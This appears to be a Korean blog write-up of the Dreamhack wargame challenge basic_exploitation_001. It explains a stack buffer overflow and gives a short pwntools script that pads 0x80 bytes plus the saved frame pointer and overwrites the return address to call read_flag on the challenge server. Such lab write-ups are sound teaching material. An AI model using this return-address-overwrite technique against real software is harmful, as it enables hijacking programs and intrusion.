*풀이:
함수의 소스코드를 먼저 살표보자,
소스코드:
read_flag라는 flag를 읽어주는 함수가 존재한다는 걸 알 수 있다.
gdb를 통해 basic_exploitation_001에 들어가 'print read_flag'를 통해 read_flag의 주소를 찾아보면 다음과 같다
read_flag -> 0x80485b9
이를 이용해 메인 함수 스택프레임의 return address를 read_flag()의 주소값으로 지정해주면 손쉽게 flag를 읽을 수 있다.
그렇다면 pwngdb를 통해 메인 함수 스택프레임의 크기를 살펴보자
메인 함수 스택프레임의 크기가 0x80임을 알 수 있다. 그러므로 버퍼 오버플로우를 이용하여, 더미값을 0x80만큼 채우고 SFP(4byte)만큼을 다시 더미값으로 채운 후 RET에 read_flag 함수의 주소를 넣어주면 될 것이다.
이제 익스플로잇 코드를 짜보자
############ 익스플로잇 코드(exploit001.py) ############
from pwn import *
context.arch = 'i386'
ret_addr = '\xb9\x85\x04\x08'
p = remote('host3.dreamhack.games', 18501)
p.send('A'*0x80)
p.send('BBBB')
p.send(ret_addr)
p.interactive()
그리고 이 익스플로잇 코드를 실행시켜주면 read_flag함수가 실행돼 'cat /flag'이 실행됐음을 확인할 수 있다.
'DreamHack: System Hacking > F Stage 5' 카테고리의 다른 글
basic_exploitation_000 (0) | 2023.04.13 |
---|---|
Exploit Tech: Return Address Overwrite(리턴 주소 변경 및 실습) (0) | 2023.04.11 |
Memory Corruption: Stack Buffer Overflow(개념) (0) | 2023.04.10 |
Quiz: Calling Convention(퀴즈: 함수 호출 규약) (0) | 2023.04.10 |
Background: Calling Convention(함수 호출 규약) (0) | 2023.04.10 |